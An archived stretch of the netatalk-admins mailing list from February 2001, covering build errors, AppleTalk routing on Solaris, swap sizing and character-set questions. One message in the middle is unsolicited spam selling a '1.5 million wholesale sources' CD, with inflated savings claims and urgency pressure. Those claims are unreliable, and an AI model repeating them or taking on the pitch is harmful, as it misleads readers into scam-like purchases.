Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA03483
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 25 Feb 2001 07:10:17 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA20766
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Feb 2001 07:10:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA20761
	for netatalk.administrators-members@umich.edu; Sun, 25 Feb 2001 07:10:16 -0500 (EST)
Received: from lkmaillx01d.l-k.de ([194.175.113.22])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA20694
	for <netatalk-admins@umich.edu>; Sun, 25 Feb 2001 07:10:11 -0500 (EST)
Received: from l-k.de (unknown [172.25.21.118])
	by lkmaillx01d.l-k.de (Postfix) with ESMTP id 4E527701A3
	for <netatalk-admins@umich.edu>; Sun, 25 Feb 2001 13:09:54 +0100 (CET)
Message-ID: <3A98F304.D3AA8A4C@l-k.de>
Date: Sun, 25 Feb 2001 12:56:52 +0100
From: Christian Loew <christian.loew@l-k.de>
X-Mailer: Mozilla 4.75 [de]C-CCK-MCD QXW0324y  (Win98; U)
X-Accept-Language: de,en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: unsubscribe
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

unsubscribe


From netatalk.administrators-errors@umich.edu  Sun Feb 25 13:00:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA10238
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 25 Feb 2001 13:00:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA28597
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Feb 2001 13:00:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA28589
	for netatalk.administrators-members@umich.edu; Sun, 25 Feb 2001 13:00:11 -0500 (EST)
Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA28527
	for <netatalk-admins@umich.edu>; Sun, 25 Feb 2001 13:00:08 -0500 (EST)
Received: from [195.20.224.219] (helo=mrvdom03.kundenserver.de)
	by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 14X5Sm-0000Li-00
	for netatalk-admins@umich.edu; Sun, 25 Feb 2001 19:00:04 +0100
Received: from p3e9ec6ec.dip0.t-ipconnect.de ([62.158.198.236])
	by mrvdom03.kundenserver.de with esmtp (Exim 2.12 #2)
	id 14X5Ss-0004yP-00
	for netatalk-admins@umich.edu; Sun, 25 Feb 2001 19:00:11 +0100
User-Agent: Microsoft-Entourage/9.0.3108
Date: Sun, 25 Feb 2001 18:59:03 +0100
Subject: pre4: can not run ./config.sub
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B6BF063B.25FEF%ts@visual-s.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hello all,

because the pre4.rpm from sourceforge refuses to install
onto my suse 7.0 box, I tried to compile from the .tar archive.

Since I didn't compile even a single line of code before and
my linux knowledge is quite poor, the following error message
leaves me sitting clueless in front of the screen:

> bob:~/ntalk15pre04/netatalk # ./configure
> loading cache ./config.cache
> configure: error: can not run ./config.sub

Could please anybody point me into the right direction?

TIA, -Thomas

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Sun Feb 25 14:13:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA11653
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 25 Feb 2001 14:13:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA10598
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Feb 2001 14:13:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA10570
	for netatalk.administrators-members@umich.edu; Sun, 25 Feb 2001 14:13:51 -0500 (EST)
Received: from charlotte.newsargus.com ([216.76.60.8])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA10518
	for <netatalk-admins@umich.edu>; Sun, 25 Feb 2001 14:13:47 -0500 (EST)
Received: from 10.0.1.33 by charlotte.newsargus.com (AppleShare IP Mail Server 6.0) id 219647 via TCP with SMTP; Sun, 25 Feb 2001 14:16:39 -0500
Date: Sun, 25 Feb 2001 11:36:24 -0500
From: David Rouse <david@rouseworld.org>
Subject: Re: Helping Out
To: Netatalk Mailing List <netatalk-admins@umich.edu>
X-Priority: 3
In-Reply-To: <Pine.LNX.4.30.0102240837080.2571-100000@www.molbio.wisc.edu>
Message-ID: <20010225141351-r01010600-1745b1bf@10.0.1.33>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)
X-Face: LU6-lGo1o,"R4WS<?7|FYx}#aR8FH#n**q#ln,x:a*S0D\Eqfc)m:Dd^0.;{`
        "~o/Hd=Vp?M03*8KL[r#BWxh=AU|Uya$E@TixSUdJz|]`50;(B}/Gybfz&Zx/CvZyn4R
        75eT:yJ!~gbcl_g)2Zl,HCN]i##}jTNX2-ZN1.9v9f8+H=

On 2/24/01 at 8:43 AM, Daniel E. Lautenschleger <dan@www.molbio.wisc.edu>
wrote:

>I think many folks would like to see dropkludge, a DID database, and the
>feature that allows files created in netatalk volumes to have the same
>ownership and permissions as the parent (correct)?

I haven't played with OS X yet, but how does Apple handle that situation
(files that have independent ownership)? They would be faced with it with OS
X.

I appologize if this has been raised before. I've just moved to Netatalk
from a commerical Unix AppleTalk package (at least for my home network), so
I'm new around here. And so far I've been pleased, the only trouble I've had
that I don't think is my fault is with aliases of volumes -- and that seems
to be a known issue.

-- 
drouse


From netatalk.administrators-errors@umich.edu  Sun Feb 25 16:23:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA14854
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 25 Feb 2001 16:23:34 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA23460
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Feb 2001 16:23:34 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA23442
	for netatalk.administrators-members@umich.edu; Sun, 25 Feb 2001 16:23:33 -0500 (EST)
Received: from charlotte.newsargus.com ([216.76.60.8])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id QAA23394
	for <netatalk-admins@umich.edu>; Sun, 25 Feb 2001 16:23:32 -0500 (EST)
Received: from 10.0.1.33 by charlotte.newsargus.com (AppleShare IP Mail Server 6.0) id 219869 via TCP with SMTP; Sun, 25 Feb 2001 16:26:18 -0500
Date: Sun, 25 Feb 2001 16:23:25 -0500
From: David Rouse <david@rouseworld.org>
Subject: appletalk routing with Solaris?
To: Netatalk Mailing List <netatalk-admins@umich.edu>
X-Priority: 3
Message-ID: <20010225162329-r01010600-561b70bb@10.0.1.33>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)
X-Face: LU6-lGo1o,"R4WS<?7|FYx}#aR8FH#n**q#ln,x:a*S0D\Eqfc)m:Dd^0.;{`
        "~o/Hd=Vp?M03*8KL[r#BWxh=AU|Uya$E@TixSUdJz|]`50;(B}/Gybfz&Zx/CvZyn4R
        75eT:yJ!~gbcl_g)2Zl,HCN]i##}jTNX2-ZN1.9v9f8+H=

I'm having a bit of trouble getting two zones to route.

I'm using netatalk 1.4b2+asun2.1.3 on a Sun SPARCserver1000 running Solaris
2.7 (106541-14). Netatalk was complied with the gcc 2.8.1 package from the
www.sunfreeware.com site.

The SS1000 has an le0 and an le1 (combo SCSI and buffered ethernet SBUS
card) . The le0 is configured for TCP/IP and is connected to a 10/100 Hub.
The le1 is not configured for TCP/IP (which shouldn't matter, right?) and is
connected to an AsanteTalk device and from there to a LocalTalk network.
What I want is two zones "Ethernet" and "Localtalk" and allow devices in
each zone to talk to each other. This is essential the same setup that I had
when I was running a commercial AppleTalk for Unix package on an ANS
700/150. The network is at home, there are no other routers.

I'm using the following atalkd.conf lines:

le0 -seed -phase 2 -net 1 -addr 1.187 -zone "Ethernet"
le1 -seed -phase 2 -net 2 -addr 2.143 -zone "Localtalk"

Both zones are created and are visible to Macs in each zone, but they
cannnot see services in other zones with the Chooser/Network Browser (with
the exception of Localtalk Macs being able to see the ss1000). The ss1000
performs as a Mac file server for clients in both zones. nbplkup on the
ss1000 without any options sees the Ethernet zone and can see devices in the
Localtalk zone with the @Localtalk option (normal?).

Things I've tried (although not all against each other):

* Replaced the '-seed' with '-router' on each then both lines.
* Used the example in the default atalkd.conf file.
* Turning on TCP/IP on le1 and TCP/IP routing on the ss1000.
* Hooked an Ethernet Mac to the crossover cable used by the AsanteTalk.

Can anyone point out what I've done wrong, or is that my setup just doesn't
support AppleTalk routing?

-- 
drouse


From netatalk.administrators-errors@umich.edu  Sun Feb 25 16:45:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA15271
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 25 Feb 2001 16:45:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA02248
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Feb 2001 16:45:08 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA02237
	for netatalk.administrators-members@umich.edu; Sun, 25 Feb 2001 16:45:07 -0500 (EST)
Received: from dave-world.net (dave-world.net [204.189.73.19])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA02211
	for <netatalk-admins@umich.edu>; Sun, 25 Feb 2001 16:45:06 -0500 (EST)
Received: from heath [205.139.250.148] by dave-world.net
  (SMTPD32-6.05) id ABF21D0F0230; Sun, 25 Feb 2001 15:41:06 -0600
From: "Heath Henderson" <heath@dave-world.net>
To: "Netatalk Mailing List" <netatalk-admins@umich.edu>
Subject: Quick Setup Question
Date: Sun, 25 Feb 2001 15:49:40 -0600
Message-ID: <NDBBLIPGCLLELIOOICKOMEDBDKAA.heath@dave-world.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <20010225141351-r01010600-1745b1bf@10.0.1.33>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

I am getting ready to set up a few new servers.  I have been reading a lot
lately about swap space.  One article reads keep it consistent with the
about of Physical Ram in the machine.  So this would mean if I have 256 MB
of Ram, I set the swap to 256.  But other articles read keep it consistent
up to 64 MB of Ram.  Do not set Swap space higher than 64mb.

I ask,  should I set the swap size above 64 if I have say 192/256/384/512 MB
of Ram installed? or should I make sure it sits at 64mb and nothing higher?
I want to this right this time.

Thanks

Heath Henderson


From netatalk.administrators-errors@umich.edu  Sun Feb 25 17:29:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: (from wes@localhost)
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with X.500 id RAA16456
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Feb 2001 17:29:51 -0500 (EST)
Received: (from wes@localhost)
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with X.500 id RAA16454
	for netatalk.administrators-members@umich.edu; Sun, 25 Feb 2001 17:29:50 -0500 (EST)
Received: from terminator.rsug.itd.umich.edu (localhost [127.0.0.1])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA16444; Sun, 25 Feb 2001 17:29:47 -0500 (EST)
Message-Id: <200102252229.RAA16444@terminator.rsug.itd.umich.edu>
From: wesley.craig@umich.edu
To: David Rouse <david@rouseworld.org>
cc: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: appletalk routing with Solaris? 
In-reply-to: Your message of "Sun, 25 Feb 2001 16:23:25 EST."
             <20010225162329-r01010600-561b70bb@10.0.1.33> 
Date: Sun, 25 Feb 2001 17:29:46 -0500
Sender: wes@terminator.rsug.itd.umich.edu

> From:    David Rouse <david@rouseworld.org>
> To:      Netatalk Mailing List <netatalk-admins@umich.edu>

> Can anyone point out what I've done wrong, or is that my setup just doesn't
> support AppleTalk routing?

As I released it, the Solaris kernel module won't route.  Someone could
have added it, and in fact it would be fairly easy to add, since it
already implements is a multi-interface routing table.  If someone
decides to work on it, I am available for free advice from the
sidelines :)

:wes

From netatalk.administrators-errors@umich.edu  Mon Feb 26 03:17:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA29190
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Feb 2001 03:17:10 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA10764
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Feb 2001 03:17:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA10753
	for netatalk.administrators-members@umich.edu; Mon, 26 Feb 2001 03:17:03 -0500 (EST)
Received: from nantes.inra.fr (nantes.inra.fr [195.221.36.8])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA10722
	for <netatalk-admins@umich.edu>; Mon, 26 Feb 2001 03:17:01 -0500 (EST)
Received: from nantes.inra.fr (uiclinux [193.50.23.216])
	by nantes.inra.fr (8.8.8/8.8.8) with SMTP id JAA04675;
	Mon, 26 Feb 2001 09:12:51 GMT
Date: Mon, 26 Feb 2001 09:16:23 +0100
From: REYNAUD Jean-Samuel <reynaud@nantes.inra.fr>
To: Thomas Schierle <ts@visual-s.de>
Cc: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: pre4: can not run ./config.sub
Message-ID: <20010226091623.C333@uiclinux.nantes.inra.fr>
References: <B6BF063B.25FEF%ts@visual-s.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In-Reply-To: <B6BF063B.25FEF%ts@visual-s.de>; from ts@visual-s.de on Sun, Feb 25, 2001 at 18:59:03 +0100
X-Mailer: Balsa 1.1.1
Lines: 25


On 2001.02.25 18:59:03 +0100 Thomas Schierle wrote:
> Hello all,
> 
> because the pre4.rpm from sourceforge refuses to install
> onto my suse 7.0 box, I tried to compile from the .tar archive.
> 
> Since I didn't compile even a single line of code before and
> my linux knowledge is quite poor, the following error message
> leaves me sitting clueless in front of the screen:
> 
> > bob:~/ntalk15pre04/netatalk # ./configure
> > loading cache ./config.cache
> > configure: error: can not run ./config.sub
> 
> Could please anybody point me into the right direction?
> 
aclocal/autoconf/automake/libtools tools must be installed
(in this tar, config.sub is a link :
lrwxrwxrwx    1 other  other        29 Feb 26 09:11 config.sub -> config.sub)
check the directory /usr/share/libtool/


-- 
REYNAUD Jean-Samuel


From netatalk.administrators-errors@umich.edu  Mon Feb 26 18:26:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA25369
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Feb 2001 18:26:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA12117
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Feb 2001 18:26:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA12093
	for netatalk.administrators-members@umich.edu; Mon, 26 Feb 2001 18:26:40 -0500 (EST)
Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA12040
	for <netatalk-admins@umich.edu>; Mon, 26 Feb 2001 18:26:38 -0500 (EST)
Received: from [195.20.224.219] (helo=mrvdom03.kundenserver.de)
	by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2)
	id 14XX2L-0005we-00
	for netatalk-admins@umich.edu; Tue, 27 Feb 2001 00:26:37 +0100
Received: from pd4b892d9.dip0.t-ipconnect.de ([212.184.146.217])
	by mrvdom03.kundenserver.de with esmtp (Exim 2.12 #2)
	id 14XX2F-0002ri-00
	for netatalk-admins@umich.edu; Tue, 27 Feb 2001 00:26:34 +0100
User-Agent: Microsoft-Entourage/9.0.3108
Date: Tue, 27 Feb 2001 00:25:22 +0100
Subject: Re: pre4: can not run ./config.sub
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B6C0A467.26090%ts@visual-s.de>
In-Reply-To: <20010226091623.C333@uiclinux.nantes.inra.fr>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 01-02-26 09:16 +0100, REYNAUD Jean-Samuel <reynaud@nantes.inra.fr> wrote:

> 
> On 2001.02.25 18:59:03 +0100 Thomas Schierle wrote:
>> Hello all,
>> 
>> because the pre4.rpm from sourceforge refuses to install
>> onto my suse 7.0 box, I tried to compile from the .tar archive.
>> 
>> Since I didn't compile even a single line of code before and
>> my linux knowledge is quite poor, the following error message
>> leaves me sitting clueless in front of the screen:
>> 
>>> bob:~/ntalk15pre04/netatalk # ./configure
>>> loading cache ./config.cache
>>> configure: error: can not run ./config.sub
>> 
>> Could please anybody point me into the right direction?
>> 
> aclocal/autoconf/automake/libtools tools must be installed
> (in this tar, config.sub is a link :
> lrwxrwxrwx    1 other  other        29 Feb 26 09:11 config.sub -> config.sub)
> check the directory /usr/share/libtool/

Thanks, Jean-Samuel -- I have:

/usr/share/autoconf
/usr/share/automake
/usr/share/aclocal

filled with all kinds of nifty stuff :-)
in fact, there is no /usr/share/libtools directory ...

At the suse install CD, I was able to find a package named
"libtool", (Tool to create "shared libraries"). I'll install
right now and see if I get pre4 compiled tomorrow.

Again, thanks a lot, I for sure would not have been able
to figure out the missing piece on my own.

-Thomas

... a couple of minutes later: I was able to configure
without any problems :-)))

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Mon Feb 26 20:37:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA28932
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Feb 2001 20:37:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA20792
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Feb 2001 20:37:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA20765
	for netatalk.administrators-members@umich.edu; Mon, 26 Feb 2001 20:37:27 -0500 (EST)
Received: from bureau6.utcc.utoronto.ca (bureau6.utcc.utoronto.ca [128.100.132.16])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA20685
	for <netatalk-admins@umich.edu>; Mon, 26 Feb 2001 20:37:24 -0500 (EST)
Received: from gandalf.java.utoronto.ca ([142.150.64.91] EHLO utoronto.ca ident: NO-IDENT-SERVICE [port 8070]) by bureau6.utcc.utoronto.ca with ESMTP id <464380-16883>; Mon, 26 Feb 2001 20:37:03 -0500
Sender: nhoelz@utoronto.ca
Message-ID: <3A9B0476.3ED78668@utoronto.ca>
Date: Mon, 26 Feb 2001 20:35:50 -0500
From: nhoelz <nakul.hoelz@utoronto.ca>
Organization: CAAT University of Toronto
X-Mailer: Mozilla 4.61 [en] (X11; I; IRIX 6.2 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Solaris compilation Problem
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello netatalk admins,
    compiling the netatalk source on a solaris 7 with gcc 2.95.2 and the
later with the native
solaris compiler I get the following error messages.....

1.) For gcc:

 # make
 Making all for solaris...
 make[1]: Entering directory
 `/opt2/home/local/src/netatalk/netatalk14b2/netatalk-1.4b2/sys/solaris'

 gcc -D_KERNEL -mno-app-regs -munaligned-doubles -fpcc-struct-return
-D__svr4__
 -DSOLARIS -O -I../../include -I../netatalk   -c ddptp_rdq.c -o
ddptp_rdq.o
 ddptp_rdq.c:45: conflicting types for `putnext'
 /usr/include/sys/stream.h:710: previous declaration of `putnext'
 make[1]: *** [ddptp_rdq.o] Error 1
 make[1]: Leaving directory
 `/opt2/home/local/src/netatalk/netatalk14b2/netatalk-1.4b2/sys/solaris'

 make: *** [all] Error 2

2.) For cc:

# make
cc -D_KERNEL -D__svr4__ -DSOLARIS -O -I../../include -I../netatalk   -c
ddptp_rdq.c -o
ddptp_rdq.o
"ddptp_rdq.c", line 45: identifier redeclared: putnext
        current : function(pointer to struct queue {pointer to struct
qinit {..}
q_qinfo, pointer to struct msgb {..} q_first, pointer to stru...
        previous: function(pointer to struct queue {pointer to struct
qinit {..}
q_qinfo, pointer to struct msgb {..} q_first, pointer to stru... :
"/usr/include/sys/stream.h", line 710
cc: acomp failed for ddptp_rdq.c
make: *** [ddptp_rdq.o] Error 2


Do you see something wrong with how ddptp_rdq.c is trying to use
streams.h....
Do you have a suggestion on how to fix this problem???

Nakul


From netatalk.administrators-errors@umich.edu  Mon Feb 26 23:22:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA03925
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 26 Feb 2001 23:22:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA07302
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 26 Feb 2001 23:22:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA06894
	for netatalk.administrators-members@umich.edu; Mon, 26 Feb 2001 23:22:33 -0500 (EST)
Received: from smtp04.mail.onemain.com (SMTP-OUT003.ONEMAIN.COM [63.208.208.73])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id XAA06502
	for <netatalk.administrators@umich.edu>; Mon, 26 Feb 2001 23:22:19 -0500 (EST)
From: 84Nr3TL28@excite.com
Received: (qmail 14276 invoked from network); 27 Feb 2001 04:22:17 -0000
Received: from ip-209-239-211-33.pdx.jps.net (HELO pkB6z15h2?) ([209.239.211.33]) (envelope-sender <84Nr3TL28@excite.com>)
          by smtp04.mail.onemain.com (qmail-ldap-1.03) with SMTP
          for <ho.kee.h.man.1@umich.edu>; 27 Feb 2001 04:22:17 -0000
DATE: 26 Feb 01 8:22:30 PM
Reply-to: inf8100@execs.com
Message-ID: <B54c0r8y6vb3>
Received: From mail02.ruskymailuk.com by smtp.ruskymailuk.com, member@ruskymailuk.com;Mon, 26 Feb 2001 20:22:30 -400 (EDT)
SUBJECT: : RE: electronics sources (pre released)


I noticed that you are interested in electronics and I thought Id share some exclusive information that might save or make you hundreds if not thousands of dollars.

After 2 years of research/development our company has just come out with a database of over 1.5 MILLION surplus, liquidation, closeout and wholesale resources that sell almost anything you're looking for at sometimes 1/3 of the wholesale price (not retail, . . . wholesale). Yes, that's about 33% of the cost. This means if you found a DVD player in the store for $250, you could buy the same exact model for around $83.

How can they sell products like this for so cheap? Well, they buy truckloads full of the same items at about 20% of wholesale after theyve been pulled from the shelves and cleared out to make room for the following year's models.

Many of the items even come directly from the manufacturer if there is a surplus of products and not enough warehouse space to hold them. Most people have no idea that this is possible but have you ever wondered where the major sellers on Ebay or other auctions sites get their items? And at 33% of the cost you could even sell this stuff on Ebay yourself while turning a nice profit as they do (many sellers make around $2,000-$4000 . . . . . weekly).

There is no reason why big retail stores like Wal-M*** and Circuit C*** should keep this information to themselves and prevent the public from getting the savings they're looking for. That is why we have created this information package which you will only be able find right here through our company.

We have set the price of our resource directory at $16 for now until we see how our response is but well have to raise the price in the future if we have a demand larger than we can accommodate. For our newest update test we will only be selling 100 of these CDs so if you are interested please reply ASAP with "I WANT THE INFO" in the subject line before they are all gone. After that we cannot sell any more. Well then reserve a copy for you and respond with the payment info. In addition we will ship your item within 24 hours compliments of us. If you would like to see a longer description of our product please reply with site info and well send you our url.

Here are a few examples of products that I GUARANTEE you will find through this CD:

DVD players for $85, Camcorders for $140, Windows 98 for $9.95, Computer laptops for $185, Digital cameras for $75, CD recorders for $85, 56K modems for $14.95, Music CD's for $3.99 and the list continues, watches, fax machines, cellular and regular phones, Cloths,  Roller blades, VCR's, Computer hardware and software, Toys, Perfumes, Luggage, Tools, Instruments, Audio equipment, Jewelry, Fitness equipment, Office equipment, Collectibles, Auto supplies, Sporting goods, Fireworks, Furniture, Posters, TV's, Movies. If you can't find the item you are looking for in our CD, IT DOESN'T EXIST!



























Note:    This was a one time contact.  We sincerely apologize for any inconvenience you may have incurred by receiving this communication.  Just hit "delete" and you will not hear from us again.  PEACE!



From netatalk.administrators-errors@umich.edu  Tue Feb 27 08:39:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA19278
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Feb 2001 08:39:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA25616
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Feb 2001 08:39:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA25600
	for netatalk.administrators-members@umich.edu; Tue, 27 Feb 2001 08:39:09 -0500 (EST)
Received: from rakete.joerdens.de ([62.104.116.200])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA25098
	for <netatalk-admins@umich.edu>; Tue, 27 Feb 2001 08:38:51 -0500 (EST)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id OAA31101;
	Tue, 27 Feb 2001 14:38:33 +0100
Date: Tue, 27 Feb 2001 14:38:33 +0100
From: Frank Joerdens <frank@joerdens.de>
To: Jesus <jolivan@interaccionbcn.com>
Cc: netatalk-admins@umich.edu
Subject: Re: Problems in spanish characters exchange
Message-ID: <20010227143833.A30932@rakete.joerdens.de>
References: <002b01c09c32$0c360aa0$1a00a8c0@macserver>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.1.2i
In-Reply-To: <002b01c09c32$0c360aa0$1a00a8c0@macserver>; from jolivan@interaccionbcn.com on Wed, Feb 21, 2001 at 07:13:48PM +0100
X-Subliminal-Message: Use Linux! Use Linux!

On Wed, Feb 21, 2001 at 07:13:48PM +0100, Jesus wrote:
> 
>    Greetings,
>    
>    
>    
>    
>    
>        We are running a new Linux box for experimenting with it as an
>    Netatalk server for files exchange between an Apple network and the PC
>    side, through SAMBA. Though, we are experimenting some strange errors
